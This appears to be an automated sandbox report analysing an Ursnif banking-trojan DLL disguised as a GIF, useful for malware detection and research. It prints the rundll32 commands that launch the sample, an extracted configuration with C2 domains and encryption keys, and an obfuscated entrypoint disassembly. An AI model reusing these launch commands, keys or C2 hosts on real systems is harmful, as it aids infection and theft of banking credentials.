Loading ...

Play interactive tourEdit tour

Analysis Report gg_1.gif.dll

Overview

General Information

Sample Name:gg_1.gif.dll
Analysis ID:382564
MD5:53f7e96f48283df339164afadd174638
SHA1:bd119af6c52876fb5d23398326850d87fe159735
SHA256:4b8946f9fee32db6b42f7c0fdb70ca9ba7980c5932d3f959227cdfbef15e8c34
Tags:dllGGGoziIFSBUrsnif
Infos:

Most interesting Screenshot:

Detection

Ursnif
Score:68
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Found malware configuration
Multi AV Scanner detection for submitted file
Yara detected Ursnif
Machine Learning detection for sample
Antivirus or Machine Learning detection for unpacked file
Contains functionality to call native functions
Contains functionality to dynamically determine API calls
Contains functionality to read the PEB
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
PE file contains sections with non-standard names
Program does not show much activity (idle)
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)

Classification

Startup

  • System is w10x64
  • loaddll32.exe (PID: 6948 cmdline: loaddll32.exe 'C:\Users\user\Desktop\gg_1.gif.dll' MD5: 542795ADF7CC08EFCF675D65310596E8)
    • cmd.exe (PID: 6988 cmdline: cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\gg_1.gif.dll',#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)
      • rundll32.exe (PID: 7012 cmdline: rundll32.exe 'C:\Users\user\Desktop\gg_1.gif.dll',#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)
    • rundll32.exe (PID: 7000 cmdline: rundll32.exe C:\Users\user\Desktop\gg_1.gif.dll,DllServer MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)
  • cleanup

Malware Configuration

Threatname: Ursnif

[[{"RSA Public Key": "bUd4GFcFHo0e+ZYUbkHaTKXmZ1xEyxvy7Ha6j1WAZbQ7YvMdkqTfD1vHD2y2CmFTRrLK1w5iQroYI0mUpJ4xNknlY+BmJf4xpeJRxxK0RRNeRbW5unSB2vXqxvlTgz6vNZY+9zeztuP2jXKpIm0/s+YxWnsT7eWUtQtD38NlsAPtJdp+3rBxjzAWNKQj7wMA"}, {"c2_domain": ["bing.com", "update4.microsoft.com", "under17.com", "urs-world.com"], "botnet": "5566", "server": "12", "serpent_key": "10301029JSJUYDWG", "sleep_time": "10", "SetWaitableTimer_value": "0", "DGA_count": "10"}]]

Yara Overview

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000003.00000002.703411364.0000000004D40000.00000004.00000001.sdmpJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
    00000004.00000002.699967936.0000000004560000.00000004.00000001.sdmpJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
      00000001.00000002.919628932.0000000003020000.00000004.00000001.sdmpJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security

        Unpacked PEs

        SourceRuleDescriptionAuthorStrings
        3.2.rundll32.exe.4d40000.2.raw.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
          1.2.loaddll32.exe.10000000.3.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
            1.2.loaddll32.exe.3020000.2.raw.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
              4.2.rundll32.exe.4560000.2.raw.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security

                Sigma Overview

                No Sigma rule has matched

                Signature Overview

                Click to jump to signature section

                Show All Signature Results

                AV Detection:

                barindex
                Found malware configurationShow sources
                Source: 4.2.rundll32.exe.4560000.2.raw.unpackMalware Configuration Extractor: Ursnif [[{"RSA Public Key": "bUd4GFcFHo0e+ZYUbkHaTKXmZ1xEyxvy7Ha6j1WAZbQ7YvMdkqTfD1vHD2y2CmFTRrLK1w5iQroYI0mUpJ4xNknlY+BmJf4xpeJRxxK0RRNeRbW5unSB2vXqxvlTgz6vNZY+9zeztuP2jXKpIm0/s+YxWnsT7eWUtQtD38NlsAPtJdp+3rBxjzAWNKQj7wMA"}, {"c2_domain": ["bing.com", "update4.microsoft.com", "under17.com", "urs-world.com"], "botnet": "5566", "server": "12", "serpent_key": "10301029JSJUYDWG", "sleep_time": "10", "SetWaitableTimer_value": "0", "DGA_count": "10"}]]
                Multi AV Scanner detection for submitted fileShow sources
                Source: gg_1.gif.dllReversingLabs: Detection: 41%
                Machine Learning detection for sampleShow sources
                Source: gg_1.gif.dllJoe Sandbox ML: detected
                Source: 1.2.loaddll32.exe.10000000.3.unpackAvira: Label: TR/Crypt.XPACK.Gen8
                Source: gg_1.gif.dllStatic PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

                Key, Mouse, Clipboard, Microphone and Screen Capturing:

                barindex
                Yara detected UrsnifShow sources
                Source: Yara matchFile source: 00000003.00000002.703411364.0000000004D40000.00000004.00000001.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000004.00000002.699967936.0000000004560000.00000004.00000001.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000001.00000002.919628932.0000000003020000.00000004.00000001.sdmp, type: MEMORY
                Source: Yara matchFile source: 3.2.rundll32.exe.4d40000.2.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 1.2.loaddll32.exe.10000000.3.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 1.2.loaddll32.exe.3020000.2.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 4.2.rundll32.exe.4560000.2.raw.unpack, type: UNPACKEDPE

                E-Banking Fraud:

                barindex
                Yara detected UrsnifShow sources
                Source: Yara matchFile source: 00000003.00000002.703411364.0000000004D40000.00000004.00000001.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000004.00000002.699967936.0000000004560000.00000004.00000001.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000001.00000002.919628932.0000000003020000.00000004.00000001.sdmp, type: MEMORY
                Source: Yara matchFile source: 3.2.rundll32.exe.4d40000.2.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 1.2.loaddll32.exe.10000000.3.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 1.2.loaddll32.exe.3020000.2.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 4.2.rundll32.exe.4560000.2.raw.unpack, type: UNPACKEDPE
                Source: C:\Windows\System32\loaddll32.exeCode function: 1_2_10002375 NtQueryVirtualMemory,1_2_10002375
                Source: C:\Windows\System32\loaddll32.exeCode function: 1_2_100021541_2_10002154
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04D25F163_2_04D25F16
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04D21CD03_2_04D21CD0
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04D227D43_2_04D227D4
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04D243D83_2_04D243D8
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04D213C53_2_04D213C5
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04D292B23_2_04D292B2
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04D231B33_2_04D231B3
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04D288BA3_2_04D288BA
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04D23FAB3_2_04D23FAB
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04D22FAF3_2_04D22FAF
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04D253783_2_04D25378
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04D252623_2_04D25262
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04D225663_2_04D22566
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04D219673_2_04D21967
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04D22A693_2_04D22A69
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04D23A143_2_04D23A14
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04D21B1E3_2_04D21B1E
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04D2150C3_2_04D2150C
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04D25A253_2_04D25A25
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_04525F164_2_04525F16
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_045253784_2_04525378
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_045252624_2_04525262
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_045225664_2_04522566
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_045219674_2_04521967
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_04522A694_2_04522A69
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_04523A144_2_04523A14
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_04521B1E4_2_04521B1E
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_0452150C4_2_0452150C
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_04525A254_2_04525A25
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_04521CD04_2_04521CD0
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_045227D44_2_045227D4
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_045243D84_2_045243D8
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_045213C54_2_045213C5
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_045292B24_2_045292B2
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_045231B34_2_045231B3
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_045288BA4_2_045288BA
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_04523FAB4_2_04523FAB
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_04522FAF4_2_04522FAF
                Source: gg_1.gif.dllStatic PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
                Source: classification engineClassification label: mal68.troj.winDLL@7/0@0/0
                Source: C:\Windows\System32\loaddll32.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\gg_1.gif.dll,DllServer
                Source: gg_1.gif.dllReversingLabs: Detection: 41%
                Source: unknownProcess created: C:\Windows\System32\loaddll32.exe loaddll32.exe 'C:\Users\user\Desktop\gg_1.gif.dll'
                Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\gg_1.gif.dll',#1
                Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\gg_1.gif.dll,DllServer
                Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\gg_1.gif.dll',#1
                Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\gg_1.gif.dll',#1Jump to behavior
                Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\gg_1.gif.dll,DllServerJump to behavior
                Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\gg_1.gif.dll',#1Jump to behavior
                Source: C:\Windows\System32\loaddll32.exeCode function: 1_2_10001745 LoadLibraryA,GetProcAddress,1_2_10001745
                Source: gg_1.gif.dllStatic PE information: section name: .code
                Source: C:\Windows\System32\loaddll32.exeCode function: 1_2_10002143 push ecx; ret 1_2_10002153
                Source: C:\Windows\System32\loaddll32.exeCode function: 1_2_100050D9 push esp; iretd 1_2_100050DA
                Source: C:\Windows\System32\loaddll32.exeCode function: 1_2_100020F0 push ecx; ret 1_2_100020F9
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04D2709D push edi; mov dword ptr [esp], FFFF0000h3_2_04D2709E
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04D2709D push 00000000h; mov dword ptr [esp], ebp3_2_04D270F5
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04D2709D push esp; mov dword ptr [esp], 00000040h3_2_04D2711D
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04D2709D push 00000000h; mov dword ptr [esp], ecx3_2_04D2716C
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04D25F16 push dword ptr [ebp-0Ch]; mov dword ptr [esp], edx3_2_04D25F7B
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04D25F16 push dword ptr [ebp-0Ch]; mov dword ptr [esp], eax3_2_04D25F94
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04D25F16 push dword ptr [ebp-08h]; mov dword ptr [esp], eax3_2_04D25FDD
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04D25F16 push dword ptr [ebp-10h]; mov dword ptr [esp], eax3_2_04D2604B
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04D25F16 push dword ptr [ebp-08h]; mov dword ptr [esp], eax3_2_04D26124
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04D25F16 push 00000000h; mov dword ptr [esp], edi3_2_04D2614F
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04D25F16 push 00000000h; mov dword ptr [esp], edx3_2_04D2625E
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04D25F16 push dword ptr [ebp-10h]; mov dword ptr [esp], eax3_2_04D262B5
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04D25F16 push dword ptr [ebp-10h]; mov dword ptr [esp], eax3_2_04D26343
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04D25F16 push dword ptr [ebp-10h]; mov dword ptr [esp], eax3_2_04D2635D
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04D25F16 push 00000000h; mov dword ptr [esp], ebp3_2_04D26368
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04D25F16 push dword ptr [ebp-0Ch]; mov dword ptr [esp], eax3_2_04D26385
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04D25F16 push 00000000h; mov dword ptr [esp], edx3_2_04D263B4
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04D25F16 push dword ptr [ebp-08h]; mov dword ptr [esp], eax3_2_04D26483
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04D25F16 push dword ptr [ebp-08h]; mov dword ptr [esp], eax3_2_04D264F2
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04D25F16 push dword ptr [ebp-10h]; mov dword ptr [esp], eax3_2_04D264FE
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04D25F16 push dword ptr [ebp-08h]; mov dword ptr [esp], eax3_2_04D2650A
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04D25F16 push 00000000h; mov dword ptr [esp], edi3_2_04D26567
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04D25F16 push 00000000h; mov dword ptr [esp], edi3_2_04D265A9
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04D25F16 push 00000000h; mov dword ptr [esp], eax3_2_04D26610
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04D25F16 push dword ptr [ebp-0Ch]; mov dword ptr [esp], eax3_2_04D26685
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04D25F16 push dword ptr [ebp-08h]; mov dword ptr [esp], ecx3_2_04D266C2
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04D25F16 push dword ptr [ebp-0Ch]; mov dword ptr [esp], eax3_2_04D266E8
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04D25F16 push 00000000h; mov dword ptr [esp], edi3_2_04D26781

                Hooking and other Techniques for Hiding and Protection:

                barindex
                Yara detected UrsnifShow sources
                Source: Yara matchFile source: 00000003.00000002.703411364.0000000004D40000.00000004.00000001.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000004.00000002.699967936.0000000004560000.00000004.00000001.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000001.00000002.919628932.0000000003020000.00000004.00000001.sdmp, type: MEMORY
                Source: Yara matchFile source: 3.2.rundll32.exe.4d40000.2.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 1.2.loaddll32.exe.10000000.3.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 1.2.loaddll32.exe.3020000.2.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 4.2.rundll32.exe.4560000.2.raw.unpack, type: UNPACKEDPE
                Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: all processesThread injection, dropped files, key value created, disk infection and DNS query: no activity detected
                Source: C:\Windows\System32\loaddll32.exeCode function: 1_2_10001745 LoadLibraryA,GetProcAddress,1_2_10001745
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 3_2_04D22A69 xor edi, dword ptr fs:[00000030h]3_2_04D22A69
                Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_04522A69 xor edi, dword ptr fs:[00000030h]4_2_04522A69
                Source: all processesThread injection, dropped files, key value created, disk infection and DNS query: no activity detected
                Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\gg_1.gif.dll',#1Jump to behavior
                Source: loaddll32.exe, 00000001.00000002.919563518.0000000001AB0000.00000002.00000001.sdmpBinary or memory string: Program Manager
                Source: loaddll32.exe, 00000001.00000002.919563518.0000000001AB0000.00000002.00000001.sdmpBinary or memory string: Shell_TrayWnd
                Source: loaddll32.exe, 00000001.00000002.919563518.0000000001AB0000.00000002.00000001.sdmpBinary or memory string: Progman
                Source: loaddll32.exe, 00000001.00000002.919563518.0000000001AB0000.00000002.00000001.sdmpBinary or memory string: Progmanlock
                Source: C:\Windows\System32\loaddll32.exeCode function: 1_2_1000163F SetThreadPriority,GetSystemTime,SwitchToThread,Sleep,GetLongPathNameW,GetLongPathNameW,GetLongPathNameW,GetLastError,WaitForSingleObject,GetExitCodeThread,CloseHandle,GetLastError,GetLastError,1_2_1000163F
                Source: C:\Windows\System32\loaddll32.exeCode function: 1_2_10001850 CreateEventA,GetVersion,GetCurrentProcessId,OpenProcess,GetLastError,1_2_10001850

                Stealing of Sensitive Information:

                barindex
                Yara detected UrsnifShow sources
                Source: Yara matchFile source: 00000003.00000002.703411364.0000000004D40000.00000004.00000001.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000004.00000002.699967936.0000000004560000.00000004.00000001.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000001.00000002.919628932.0000000003020000.00000004.00000001.sdmp, type: MEMORY
                Source: Yara matchFile source: 3.2.rundll32.exe.4d40000.2.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 1.2.loaddll32.exe.10000000.3.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 1.2.loaddll32.exe.3020000.2.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 4.2.rundll32.exe.4560000.2.raw.unpack, type: UNPACKEDPE

                Remote Access Functionality:

                barindex
                Yara detected UrsnifShow sources
                Source: Yara matchFile source: 00000003.00000002.703411364.0000000004D40000.00000004.00000001.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000004.00000002.699967936.0000000004560000.00000004.00000001.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000001.00000002.919628932.0000000003020000.00000004.00000001.sdmp, type: MEMORY
                Source: Yara matchFile source: 3.2.rundll32.exe.4d40000.2.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 1.2.loaddll32.exe.10000000.3.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 1.2.loaddll32.exe.3020000.2.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 4.2.rundll32.exe.4560000.2.raw.unpack, type: UNPACKEDPE

                Mitre Att&ck Matrix

                Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
                Valid AccountsNative API1Path InterceptionProcess Injection12Rundll321OS Credential DumpingSystem Time Discovery1Remote ServicesArchive Collected Data1Exfiltration Over Other Network MediumEncrypted Channel1Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
                Default AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsSoftware Packing1LSASS MemoryProcess Discovery1Remote Desktop ProtocolData from Removable MediaExfiltration Over BluetoothJunk DataExploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
                Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)Process Injection12Security Account ManagerSystem Information Discovery3SMB/Windows Admin SharesData from Network Shared DriveAutomated ExfiltrationSteganographyExploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
                Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)Obfuscated Files or Information1NTDSSystem Network Configuration DiscoveryDistributed Component Object ModelInput CaptureScheduled TransferProtocol ImpersonationSIM Card SwapCarrier Billing Fraud

                Behavior Graph

                Hide Legend

                Legend:

                • Process
                • Signature
                • Created File
                • DNS/IP Info
                • Is Dropped
                • Is Windows Process
                • Number of created Registry Values
                • Number of created Files
                • Visual Basic
                • Delphi
                • Java
                • .Net C# or VB.NET
                • C, C++ or other language
                • Is malicious
                • Internet
                behaviorgraph top1 signatures2 2 Behavior Graph ID: 382564 Sample: gg_1.gif.dll Startdate: 06/04/2021 Architecture: WINDOWS Score: 68 15 Found malware configuration 2->15 17 Multi AV Scanner detection for submitted file 2->17 19 Yara detected  Ursnif 2->19 21 Machine Learning detection for sample 2->21 7 loaddll32.exe 1 2->7         started        process3 process4 9 cmd.exe 1 7->9         started        11 rundll32.exe 7->11         started        process5 13 rundll32.exe 9->13         started       

                Screenshots

                Thumbnails

                This section contains all screenshots as thumbnails, including those not shown in the slideshow.

                windows-stand

                Antivirus, Machine Learning and Genetic Malware Detection

                Initial Sample

                SourceDetectionScannerLabelLink
                gg_1.gif.dll42%ReversingLabsWin32.Trojan.Wacatac
                gg_1.gif.dll100%Joe Sandbox ML

                Dropped Files

                No Antivirus matches

                Unpacked PE Files

                SourceDetectionScannerLabelLinkDownload
                1.2.loaddll32.exe.10000000.3.unpack100%AviraTR/Crypt.XPACK.Gen8Download File

                Domains

                No Antivirus matches

                URLs

                No Antivirus matches

                Domains and IPs

                Contacted Domains

                No contacted domains info

                Contacted IPs

                No contacted IP infos

                General Information

                Joe Sandbox Version:31.0.0 Emerald
                Analysis ID:382564
                Start date:06.04.2021
                Start time:09:57:40
                Joe Sandbox Product:CloudBasic
                Overall analysis duration:0h 6m 44s
                Hypervisor based Inspection enabled:false
                Report type:full
                Sample file name:gg_1.gif.dll
                Cookbook file name:default.jbs
                Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
                Number of analysed new started processes analysed:19
                Number of new started drivers analysed:0
                Number of existing processes analysed:0
                Number of existing drivers analysed:0
                Number of injected processes analysed:0
                Technologies:
                • HCA enabled
                • EGA enabled
                • HDC enabled
                • AMSI enabled
                Analysis Mode:default
                Analysis stop reason:Timeout
                Detection:MAL
                Classification:mal68.troj.winDLL@7/0@0/0
                EGA Information:Failed
                HDC Information:
                • Successful, ratio: 97.1% (good quality ratio 85.8%)
                • Quality average: 66.5%
                • Quality standard deviation: 33.2%
                HCA Information:
                • Successful, ratio: 56%
                • Number of executed functions: 9
                • Number of non-executed functions: 7
                Cookbook Comments:
                • Adjust boot time
                • Enable AMSI
                • Found application associated with file extension: .dll
                Warnings:
                Show All
                • Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, backgroundTaskHost.exe, svchost.exe, wuapihost.exe

                Simulations

                Behavior and APIs

                TimeTypeDescription
                09:58:52API Interceptor1x Sleep call for process: rundll32.exe modified

                Joe Sandbox View / Context

                IPs

                No context

                Domains

                No context

                ASN

                No context

                JA3 Fingerprints

                No context

                Dropped Files

                No context

                Created / dropped Files

                No created / dropped files found

                Static File Info

                General

                File type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                Entropy (8bit):6.127836134489194
                TrID:
                • Win32 Dynamic Link Library (generic) (1002004/3) 99.60%
                • Generic Win/DOS Executable (2004/3) 0.20%
                • DOS Executable Generic (2002/1) 0.20%
                • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                File name:gg_1.gif.dll
                File size:118163
                MD5:53f7e96f48283df339164afadd174638
                SHA1:bd119af6c52876fb5d23398326850d87fe159735
                SHA256:4b8946f9fee32db6b42f7c0fdb70ca9ba7980c5932d3f959227cdfbef15e8c34
                SHA512:6fb9579bcafa72d3eaac9238aaa54b5e87fa1787b8d2b0ca1735e9c8dc362e318a6c100d72fcbd35ca32a472250b598350730f80f54327a7d975d9271fcba3d5
                SSDEEP:1536:tm15JsYYm3GCVS7ZicTJzRVd620ZmB9RMli0msUdqZEACW4jySTLW:eLsacThRVd6pmBPM07vYZEA4/W
                File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......._W...6e..6e..6e..)v..6e...w..6e.Rich.6e.................PE..L.....f`...........!................ko.............................

                File Icon

                Icon Hash:74f0e4ecccdce0e4

                Static PE Info

                General

                Entrypoint:0x10006f6b
                Entrypoint Section:.code
                Digitally signed:false
                Imagebase:0x10000000
                Subsystem:windows gui
                Image File Characteristics:32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
                DLL Characteristics:
                Time Stamp:0x6066E9D0 [Fri Apr 2 09:54:24 2021 UTC]
                TLS Callbacks:
                CLR (.Net) Version:
                OS Version Major:4
                OS Version Minor:0
                File Version Major:4
                File Version Minor:0
                Subsystem Version Major:4
                Subsystem Version Minor:0
                Import Hash:3f728412058b62c418b1091768b74d7b

                Entrypoint Preview

                Instruction
                push ebx
                push esi
                and dword ptr [esp], 00000000h
                or dword ptr [esp], ebp
                mov ebp, esp
                add esp, FFFFFFF8h
                push esp
                mov dword ptr [esp], FFFF0000h
                call 00007F9530D6E771h
                push eax
                add dword ptr [esp], 00000247h
                sub dword ptr [esp], eax
                push esi
                mov dword ptr [esp], 00001567h
                call 00007F9530D6D6E7h
                push eax
                or dword ptr [esp], eax
                pop eax
                jne 00007F9530D729EBh
                pushad
                push 00000000h
                mov dword ptr [esp], esi
                xor esi, esi
                xor esi, dword ptr [ebx+0041C627h]
                mov eax, esi
                pop esi
                push ebx
                add dword ptr [esp], 40h
                sub dword ptr [esp], ebx
                push ebp
                add dword ptr [esp], 00001000h
                sub dword ptr [esp], ebp
                mov dword ptr [ebp-04h], 00000000h
                push dword ptr [ebp-04h]
                xor dword ptr [esp], eax
                push 00000000h
                call dword ptr [ebx+0041F05Ch]
                mov dword ptr [ebp-04h], ecx
                xor ecx, dword ptr [ebp-04h]
                or ecx, eax
                and edi, 00000000h
                xor edi, ecx
                mov ecx, dword ptr [ebp-04h]
                push edi
                pop dword ptr [ebp-04h]
                push dword ptr [ebp-04h]
                pop dword ptr [ebx+0041CAEDh]
                cmp ebx, 00000000h
                jbe 00007F9530D729DCh
                push 00000000h
                add dword ptr [esp], edx
                push dword ptr [ebx+0041C166h]
                pop edx
                add edx, ebx
                mov dword ptr [ebx+0041C166h], edx
                pop edx
                push 00000000h
                add dword ptr [esp], edx
                push dword ptr [ebx+0041CECAh]
                pop edx
                add edx, ebx
                mov dword ptr [ebx+0041CECAh], edx
                pop edx
                push ebp
                and ebp, 00000000h
                or ebp, dword ptr [ebx+0041C166h]

                Data Directories

                NameVirtual AddressVirtual Size Is in Section
                IMAGE_DIRECTORY_ENTRY_EXPORT0x1a0000x64.data
                IMAGE_DIRECTORY_ENTRY_IMPORT0x1f0fc0x118.data
                IMAGE_DIRECTORY_ENTRY_RESOURCE0x00x0
                IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
                IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                IMAGE_DIRECTORY_ENTRY_IAT0x1f0000xfc.data
